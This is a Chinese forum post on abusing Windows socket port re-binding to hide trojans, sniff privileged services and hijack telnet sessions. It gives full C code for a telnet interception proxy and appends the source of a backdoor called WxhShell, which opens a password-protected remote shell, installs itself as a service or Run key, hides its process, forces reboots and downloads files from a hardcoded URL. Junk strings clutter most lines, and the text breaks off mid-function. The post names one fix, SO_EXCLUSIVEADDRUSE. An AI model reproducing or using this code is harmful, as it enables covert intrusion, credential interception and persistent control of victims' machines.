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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7m jj%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bDkE*4SRX  
8N`$7^^  
  saddr.sin_family = AF_INET; *"5a5.`%,  
`%Ghtm*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <_>6a7ra  
/;0>*ft4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d{he  
TAi\#cnl(6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E,|n'  
<Z;7=k  
  这意味着什么?意味着可以进行如下的攻击: w?*KO?K  
PYUY bRn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DG-vTr  
|:?.-tq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o ,!"E^  
So^`L s;S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L7g&]%  
=4 D_-Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $P-m6  
+,[3a%c)H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Id*^H:]C#  
>(CoXSV5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ""+*Gn 7^8  
pd1m/:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Psa8OJan  
E oR(/*'  
  #include OT[m g4&  
  #include U{_s1  
  #include 7`/qL "  
  #include    rrWk&;?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]aRD6F:L  
  int main() qWpCe*C  
  { (0Qq rNs  
  WORD wVersionRequested; J9FNjM[qe  
  DWORD ret; 5jQP"^g  
  WSADATA wsaData; Fdw[CYHz  
  BOOL val; ."X~?Nk  
  SOCKADDR_IN saddr; Yel(}Ny  
  SOCKADDR_IN scaddr; 2P ?Iu&  
  int err; >>cd3)b  
  SOCKET s; Bg h$P  
  SOCKET sc; E, fp=.  
  int caddsize; nc~d*K\!  
  HANDLE mt; 4sQAR6_SW~  
  DWORD tid;   @>@Nu g2   
  wVersionRequested = MAKEWORD( 2, 2 ); QL2y,?Mz7  
  err = WSAStartup( wVersionRequested, &wsaData ); 3R*@m  
  if ( err != 0 ) { X-,y[ )  
  printf("error!WSAStartup failed!\n"); ewG21 q$  
  return -1; h /QP=Zd  
  } SU'9+=_$  
  saddr.sin_family = AF_INET; xUpb1 R  
   C<t>m_t9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m#$za7  
}?J5!X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A4FDR#  
  saddr.sin_port = htons(23); emB D@r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -ikuj  
  { uW~ ,H}E  
  printf("error!socket failed!\n"); x2sOEkcQ  
  return -1; bJF/daC5  
  } !O6Is'%B  
  val = TRUE; ls\E%d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1!wEXH(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &i^NStqu  
  { yn[ZN-H~  
  printf("error!setsockopt failed!\n"); U_;J.{n  
  return -1; 9sj W  
  } DB%AO:8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  KdJx#Lc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qf>Pb$c$U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w%dIe!sV  
K!K"}%/_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jgKL88J*\  
  { ].P(/~FS9  
  ret=GetLastError(); X&?lDL7?  
  printf("error!bind failed!\n"); T\!SA  
  return -1; _`{{39 F  
  } 5b`xN!c  
  listen(s,2); %Dls36F  
  while(1) 2 `h!:0  
  { "ue$DyN  
  caddsize = sizeof(scaddr); #Rx"L&3Ue  
  //接受连接请求 <lmJa#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); So *Wk "  
  if(sc!=INVALID_SOCKET) @1&;R  
  { 0o$HC86w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *.]E+MYi*  
  if(mt==NULL) :2)1vQH0L  
  { 6a?$=y  
  printf("Thread Creat Failed!\n"); Gi2ad+QH-  
  break; H\+c'$  
  } ?  < O  
  } T5jG IIa  
  CloseHandle(mt); *tM7>  
  } Ru^ ONw"  
  closesocket(s); I/V )z9  
  WSACleanup(); W}2 &Pax  
  return 0; L sDzV)  
  }   QcG5PV  
  DWORD WINAPI ClientThread(LPVOID lpParam) EhPVK6@  
  { .hlQ?\  
  SOCKET ss = (SOCKET)lpParam; QiE<[QP{g  
  SOCKET sc; rK QASRF5*  
  unsigned char buf[4096]; px }7If  
  SOCKADDR_IN saddr; Ipz 1+ #s'  
  long num; d6@jEa-  
  DWORD val; #O9*$eMw  
  DWORD ret; k\c &2T]W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +#uNQ`1v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )*K<;WI WH  
  saddr.sin_family = AF_INET; *Iwk47J ;a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EPe]-C`  
  saddr.sin_port = htons(23); NVc! g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X ' #$e{  
  { B.mbKntK)R  
  printf("error!socket failed!\n"); aDl, K;GL  
  return -1; g{W6a2  
  } ZE8/ m")  
  val = 100; &[ u6oAR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X`3vSCn  
  { R=amKLD?  
  ret = GetLastError(); 4-+ozC{  
  return -1; ,M@m4bx  
  } nKh%E-c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [%84L@:h  
  { $EQT"ZX>%i  
  ret = GetLastError(); /iTUex7T  
  return -1; >1r[]&8  
  } YNg\"XjJM<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |)?aH2IL  
  { K Z!N{.Jk  
  printf("error!socket connect failed!\n"); g| ._n  
  closesocket(sc); fATA%eA8;  
  closesocket(ss); H6ky)kF&  
  return -1; &V#zkW  
  } {yHB2=nI  
  while(1) gR;8ht(pd(  
  { uspkn1-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +% XhQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c+8>EU AW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A3MZxu=':3  
  num = recv(ss,buf,4096,0); NF/Ti5y  
  if(num>0) rwL=R,  
  send(sc,buf,num,0); V5u}C-o  
  else if(num==0) MvZ+n  
  break; 4+5OR&kxZ  
  num = recv(sc,buf,4096,0); }$Hs;4|  
  if(num>0) \[[TlB>  
  send(ss,buf,num,0); d=t}T6.|  
  else if(num==0) x&R9${e%  
  break; N75 3  
  } &e-#|p#v  
  closesocket(ss); Z6IJo%s  
  closesocket(sc); ]_ejDN\>{V  
  return 0 ; cuQ7kECV  
  } ~m?74^ i  
b(#"w[|  
YN%=Oq  
========================================================== <.r ]dCf  
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下边附上一个代码,,WXhSHELL stg30><  
!F+|Y"c  
========================================================== U|Bsa(?nx  
lL(p]!K'  
#include "stdafx.h" &G-#*OG  
;|>q zx  
#include <stdio.h> 0i8[=  
#include <string.h> c<=`<!FS[  
#include <windows.h> 5)d,G9  
#include <winsock2.h> sf |oNOz  
#include <winsvc.h> 4_Qa=T8  
#include <urlmon.h> y+4?U  
}BI~am_  
#pragma comment (lib, "Ws2_32.lib") Wl& >6./{  
#pragma comment (lib, "urlmon.lib") t7um [  
<XQN;{xSa  
#define MAX_USER   100 // 最大客户端连接数 AI1@-  
#define BUF_SOCK   200 // sock buffer :DtZ8$I`]C  
#define KEY_BUFF   255 // 输入 buffer T-a&e9B  
'Q:i&dTg  
#define REBOOT     0   // 重启 KTG:I@|C  
#define SHUTDOWN   1   // 关机 '}jf#C1$c  
BIxV|\k  
#define DEF_PORT   5000 // 监听端口 h8f!<:rTS  
:3KO6/+  
#define REG_LEN     16   // 注册表键长度 r{t. c?/  
#define SVC_LEN     80   // NT服务名长度 MV"E?}0  
P0%N Q1bn  
// 从dll定义API n-b>m7O(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S}oG.r 9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7?6xPKQ)H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e[x?6He,$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NuC-qG#  
rNxrQ  
// wxhshell配置信息 *QbM*oH  
struct WSCFG { Pm$F2YrO3  
  int ws_port;         // 监听端口 FU_fCL8yA  
  char ws_passstr[REG_LEN]; // 口令 t8+?U^j  
  int ws_autoins;       // 安装标记, 1=yes 0=no q';&SR#"`K  
  char ws_regname[REG_LEN]; // 注册表键名 Sm$p\ORa  
  char ws_svcname[REG_LEN]; // 服务名 h5L=M^z!>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !]$V9F{K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UWQtvQ f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;[(= kOI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +7| [b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]Nnxnp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @GN(]t&3  
9{_8cpm4  
}; b;S6'7Jf9  
N]B)Fb  
// default Wxhshell configuration VZ\O9lD  
struct WSCFG wscfg={DEF_PORT, @ SU8\:(U  
    "xuhuanlingzhe", X AQGG>  
    1, rHvF%o  
    "Wxhshell", _Zh2eXWdjM  
    "Wxhshell", 4bP13f  
            "WxhShell Service", $Mdbt o~<  
    "Wrsky Windows CmdShell Service", LtC~)R  
    "Please Input Your Password: ", R<"2%oY  
  1, *:a'GC%/  
  "http://www.wrsky.com/wxhshell.exe", %lN2n,AK  
  "Wxhshell.exe" !\QeBd+  
    }; %b=Y <v  
`_|aeoK_  
// 消息定义模块 L ;6b+I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u3U4UK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 30D: ZmlY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !n|#|.0m  
char *msg_ws_ext="\n\rExit."; $z*@2Non  
char *msg_ws_end="\n\rQuit."; >BBl 7  
char *msg_ws_boot="\n\rReboot..."; 2zz,(RA  
char *msg_ws_poff="\n\rShutdown..."; j:7* 3@f  
char *msg_ws_down="\n\rSave to "; 9lKn% |=T  
dVa!.q_3  
char *msg_ws_err="\n\rErr!"; DhZ:#mM{  
char *msg_ws_ok="\n\rOK!"; \Ke8W,)ew  
yH*hL0mO  
char ExeFile[MAX_PATH]; ODm&&W#*  
int nUser = 0; %B@ !  
HANDLE handles[MAX_USER]; @&;(D!_&  
int OsIsNt; Z+ixRch@-s  
v2d<o[[C  
SERVICE_STATUS       serviceStatus; Odm#wL~E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IE2CRBfs  
1j11|~  
// 函数声明 VM7 !0  
int Install(void); f0vJm  
int Uninstall(void); WP}ixcq#  
int DownloadFile(char *sURL, SOCKET wsh); C@1CanL@3  
int Boot(int flag); Bp :~bHf  
void HideProc(void); =-_)$GOI'  
int GetOsVer(void); <0#^7Z  
int Wxhshell(SOCKET wsl); ;(7-WnU8N  
void TalkWithClient(void *cs); C\7u<2c  
int CmdShell(SOCKET sock); ~8TF*3[}[  
int StartFromService(void); sI'a1$  
int StartWxhshell(LPSTR lpCmdLine); D}-o+6TI?  
%;7.9%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]Kv q |}=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k}GjD2m  
Y,C=@t@_  
// 数据结构和表定义 Q $]YD pCM  
SERVICE_TABLE_ENTRY DispatchTable[] = y,Jh@n';|  
{ k0L] R5W  
{wscfg.ws_svcname, NTServiceMain}, _pW_G1U  
{NULL, NULL} Av o|v>  
}; E!zX)|Z<  
yMb|I~k  
// 自我安装 e&0K;yU  
int Install(void) ?OE#q$g  
{ um7o!yg,  
  char svExeFile[MAX_PATH]; Ry&q1j  
  HKEY key; X1oGp+&  
  strcpy(svExeFile,ExeFile); Oa! m  
|m)kN2w  
// 如果是win9x系统,修改注册表设为自启动 K/^ +eoW(  
if(!OsIsNt) { WfZF~$li`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :$?Q D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Di>rO038  
  RegCloseKey(key); Ry?4h\UX5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?n.)&ZIx0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qNxB{0(D  
  RegCloseKey(key); VevNG *  
  return 0; }x:0os  
    } -p`L% xj\  
  } 4J5pXlzV  
} FbAW_Am(  
else { !;v.>.lw  
OUI6 ax\[  
// 如果是NT以上系统,安装为系统服务 ~EEs} i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9 #qeFBI  
if (schSCManager!=0) "k:=Y7Dx  
{ dFW.}"^c  
  SC_HANDLE schService = CreateService CQgcC-)ns]  
  ( *nRNg.i3D  
  schSCManager, )o{aeV  
  wscfg.ws_svcname, m2xBS!fm  
  wscfg.ws_svcdisp, &$=!dA  
  SERVICE_ALL_ACCESS, */(I[p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , px=]bALU  
  SERVICE_AUTO_START, 2/B)O)#ls  
  SERVICE_ERROR_NORMAL, .po>qb6  
  svExeFile, o_f-GO  
  NULL, e\F} q)_  
  NULL, \K7t'20  
  NULL, F}36IM9/:  
  NULL, 9pL g+6O  
  NULL ~jN'J+_$  
  ); ~}'F887f  
  if (schService!=0) SJk>Jt=  
  { o r2|O#=  
  CloseServiceHandle(schService); /:Lu_)5   
  CloseServiceHandle(schSCManager); E7nFb:zlV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y/fJQ6DY  
  strcat(svExeFile,wscfg.ws_svcname); HbM0TXo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dz;HAyPj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  \S4SI  
  RegCloseKey(key); [&#/|zH'j:  
  return 0; Vn, >< g  
    } Xj@+{uvQB  
  } `)K y0&?  
  CloseServiceHandle(schSCManager); \+m$  
} *jITOR!uF`  
} pK}=*y~$  
?mv:neh  
return 1; o&SSv W  
} pf&ag#nr  
t Rm+?  
// 自我卸载 s^hR\iY  
int Uninstall(void) eGL<vX  
{ tg\|?  
  HKEY key; 2eb1 lJdS  
3<:jx~y>  
if(!OsIsNt) { .c+9P<VmC}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QkQ!Ep(  
  RegDeleteValue(key,wscfg.ws_regname); :Ht; 0|[H  
  RegCloseKey(key); 28I^$> [  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K pHw-6"  
  RegDeleteValue(key,wscfg.ws_regname); BPv>$ m+.  
  RegCloseKey(key); cn`iX(ZgR  
  return 0; !%)]56(  
  } `@Oa lg  
} +ulagE|7  
} rD &D)w  
else { O_~7Glu  
Yh<WA>=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8sOQ9  
if (schSCManager!=0) O;uG?.\  
{ ,$lemH1d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -ijC_`>  
  if (schService!=0) 6'vbT~S!  
  { .; Q:p*  
  if(DeleteService(schService)!=0) { `A@w7J'  
  CloseServiceHandle(schService); 9902+pW  
  CloseServiceHandle(schSCManager); 5's~>up&  
  return 0; l'[A? %L%{  
  } pG3k   
  CloseServiceHandle(schService); Cu;5RSr2Z  
  } v,@F|c?_S  
  CloseServiceHandle(schSCManager); ";SiL{Z  
} ]?+{aS-]?k  
} jgv`>o%<W  
>ut" OL9J  
return 1; i^msjA  
} ac{?+]8}  
?)D^~/ A  
// 从指定url下载文件 b KtD"JG\  
int DownloadFile(char *sURL, SOCKET wsh) S \i@s_  
{ T{v>-xBRy  
  HRESULT hr; w_tJ7pz8T  
char seps[]= "/"; pCi#9=?N  
char *token; dT"hNHaf  
char *file; p4!:]0c  
char myURL[MAX_PATH]; p'_%aVm7  
char myFILE[MAX_PATH]; +]Zva:$#`  
(V:E2WR  
strcpy(myURL,sURL); V!_71x\-Q  
  token=strtok(myURL,seps); KqY["5p  
  while(token!=NULL) uVE.,)xz  
  { q*7<)VwI  
    file=token; PNs~[  
  token=strtok(NULL,seps); =FP0\cQ.  
  } 4GdX/6C.  
NoE*/!Sr  
GetCurrentDirectory(MAX_PATH,myFILE); ia@'%8  
strcat(myFILE, "\\"); *cuuzi&  
strcat(myFILE, file); E H:T  
  send(wsh,myFILE,strlen(myFILE),0); FzQTDu9  
send(wsh,"...",3,0); 'k0[rDFc#3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kRCQv-*  
  if(hr==S_OK) uo%P+om_}  
return 0; l7H qo)  
else YyAJ m^o  
return 1; "TyJP[/  
bNs4 5hDP  
} }@ Z56  
a' Ki;]q  
// 系统电源模块 *iBTI+"]  
int Boot(int flag) a8k;(/  
{ 8BOZh6BV  
  HANDLE hToken; .IBp\7W!?E  
  TOKEN_PRIVILEGES tkp; 'rp }G&m  
b V+(b9  
  if(OsIsNt) { tGvG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -VxTx^)>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R0ID2:i]F  
    tkp.PrivilegeCount = 1; fWfk[(M'9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2WX7nK;I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J]l rS  
if(flag==REBOOT) { (.w Ie/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M>9-=$7  
  return 0; fZ04!R  
} I-y#Ks1p+  
else { %,Sf1fUJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3s\.cG?`r  
  return 0; 3$.deYa$R  
} 0R{dNyh{  
  } ('wY9kvL&  
  else { &qp r*17T  
if(flag==REBOOT) { 1tTg P+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (~CLn;'  
  return 0; Nkxm m/Z  
} 0"2=n.##  
else { m(RXJORI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *n" /a{6>  
  return 0; UcBe'r}G  
} \PDd$syDA  
} j 8*ZF  
mMsTyM-f  
return 1; +zXEYc  
} ]8q3>  
pyLRgD0 g  
// win9x进程隐藏模块 kB?al#`  
void HideProc(void) ]f+ csB  
{ p' M%XBu  
I2nF-JzD2a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |f~@8|MQP+  
  if ( hKernel != NULL ) .CL^BiD.D  
  { ee%fqVQ8P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~gB>) ]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5N%93{L  
    FreeLibrary(hKernel); C<KrMRWh^  
  } 8} =JKR^cK  
nF6q7  
return; nKW*Y}VO  
} x77l~=P+!  
fP.F`V_Y  
// 获取操作系统版本 XGP6L0j  
int GetOsVer(void) 'cY` w  
{ j'9"cE5_  
  OSVERSIONINFO winfo; i4^o59}8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #fT*]NN  
  GetVersionEx(&winfo); m[j70jYe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LP MU8Er  
  return 1; J[f;Xlh  
  else :0s]U_h  
  return 0; x|yEt O&  
} .e=C{  
A.hd Kl  
// 客户端句柄模块 1V8-^  
int Wxhshell(SOCKET wsl) v) vkn/:  
{ h/~n\0,J/  
  SOCKET wsh; N[kwO1  
  struct sockaddr_in client; iD<(b`S  
  DWORD myID; zZVfj:i8  
z dO#0t N  
  while(nUser<MAX_USER) PRz/inru-  
{ p.LFVFPT  
  int nSize=sizeof(client); v\p;SwI   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \&H nKhI  
  if(wsh==INVALID_SOCKET) return 1; *S/_i-ony  
H$I =W>;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JV;OGh>  
if(handles[nUser]==0) ]T%rjsN  
  closesocket(wsh); 6Cn+e.j@  
else _i/t?7  
  nUser++; ]Dw]p! @  
  } 6/rFHY2q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X7s `U5'l  
^tXJj:wtS  
  return 0; zbq@pj)Qu  
} 6R=W}q4  
OKoan$#sn  
// 关闭 socket OE}*2P/M>  
void CloseIt(SOCKET wsh) w8n|B?Sr  
{ )B[0JrcE  
closesocket(wsh); HD(.BW7  
nUser--; "HPB!)C8(  
ExitThread(0); i&VsW7  
} _cXqAo  
} \ZaE~  
// 客户端请求句柄 qi_Jywd:w  
void TalkWithClient(void *cs) D9z|VIw8  
{ hiQha5  
=jN *P?  
  SOCKET wsh=(SOCKET)cs; }Hn/I,/  
  char pwd[SVC_LEN]; k{'0[,mx#  
  char cmd[KEY_BUFF]; Yb E-6|cz  
char chr[1];  EW3(cQbK  
int i,j; 0:+WO%z  
y-1 pR  
  while (nUser < MAX_USER) { j$+nKc$  
TA{\PKA)  
if(wscfg.ws_passstr) { ]Ux<aiY]a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5H ue7'LS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8 XU1 /i7N  
  //ZeroMemory(pwd,KEY_BUFF); 1Z9qjV%^  
      i=0; 3+XOZh8  
  while(i<SVC_LEN) { 3`k;a1Z#O'  
{~F4WjHJp  
  // 设置超时 KQ~i<1&j  
  fd_set FdRead; 7AObC4 g  
  struct timeval TimeOut; mya_4I m  
  FD_ZERO(&FdRead); ;Rv!k&Df  
  FD_SET(wsh,&FdRead); 5O\*h;U 6  
  TimeOut.tv_sec=8; ['T:ea6B  
  TimeOut.tv_usec=0; ;aw=MV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _'(,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uuQ(&  
Rj4|Q:XG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cJrmm2.0kD  
  pwd=chr[0];  -4cXRv]  
  if(chr[0]==0xd || chr[0]==0xa) { >(;{C<6|^  
  pwd=0; /oriW;OF  
  break; ;72T|e  
  } ~-I +9F  
  i++; %HL*c =  
    } E160A5BTx  
\Cii1\R=  
  // 如果是非法用户,关闭 socket nVi[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (vTtDKp@  
} V>b\[(=s  
?:)]h c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?O8ViB?2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9M:O0)s  
h-%R<[  
while(1) { nX=$EQiH  
f`[R7Q5  
  ZeroMemory(cmd,KEY_BUFF); BG<qIQd  
 Y*14v~\'  
      // 自动支持客户端 telnet标准   /K(o]J0F  
  j=0; THS.GvT9[  
  while(j<KEY_BUFF) { + ~>Aj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `b^Ru+(dM  
  cmd[j]=chr[0]; CY"/uSB  
  if(chr[0]==0xa || chr[0]==0xd) { & 9<+;*/  
  cmd[j]=0; w'm;82V:P-  
  break; /C6k+0ApMT  
  } w'UVKpG+  
  j++; {QwHc5Bf  
    } @0F3$  
=W"F[fD  
  // 下载文件 `I3r3WyA  
  if(strstr(cmd,"http://")) { r.BIJt)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HBMhtfWW  
  if(DownloadFile(cmd,wsh)) \Rp-;.I@6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *cgI.+  
  else 9_ d pR.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [xGf,;Z  
  } 7eiV{tYF  
  else { %;rHrDP(>  
*#C+iAF|)'  
    switch(cmd[0]) { lk( }-  
  v~^{{O  
  // 帮助 h"/< ?3{  
  case '?': { Zd')57{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;t|Ii8Ne  
    break; ^G.B+dG@`x  
  } apu4DAy&8  
  // 安装 o/+13C  
  case 'i': { hX=A)73(  
    if(Install()) d&+h}O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cj1cZ-  
    else ekWePL;rR2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f>N!wgo[  
    break; wwyPl  
    } #N`~xZ|$  
  // 卸载 *exS6@N]  
  case 'r': { e8GEoD  
    if(Uninstall()) <kx&w(=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * iF]n2g:  
    else !y@6Mm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o}* hY"&  
    break; iLkZ"X.'|1  
    } G{6;>8h  
  // 显示 wxhshell 所在路径 K5xX)oV  
  case 'p': { 4x 8)gE   
    char svExeFile[MAX_PATH]; =fO5cA6Z  
    strcpy(svExeFile,"\n\r"); Yo|,]X>/  
      strcat(svExeFile,ExeFile); <c2'0I >  
        send(wsh,svExeFile,strlen(svExeFile),0); ~,i-8jl,  
    break; `pGa~!vl  
    } lx[oaCr  
  // 重启 ,"HL~2:~  
  case 'b': { ;N 0~;I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _Nqt21sL  
    if(Boot(REBOOT)) /K. !sQ$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-+\R}q$  
    else { 4#:W.]U8  
    closesocket(wsh); '2[albxSc  
    ExitThread(0);  O4og?h>  
    } y9>ZwYN  
    break; ~2gG(1%At9  
    } s=0BMPDgm  
  // 关机  ~Hr}]  
  case 'd': { ]hFW 73FV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }#&#^ B#?O  
    if(Boot(SHUTDOWN)) TztAZ2C  
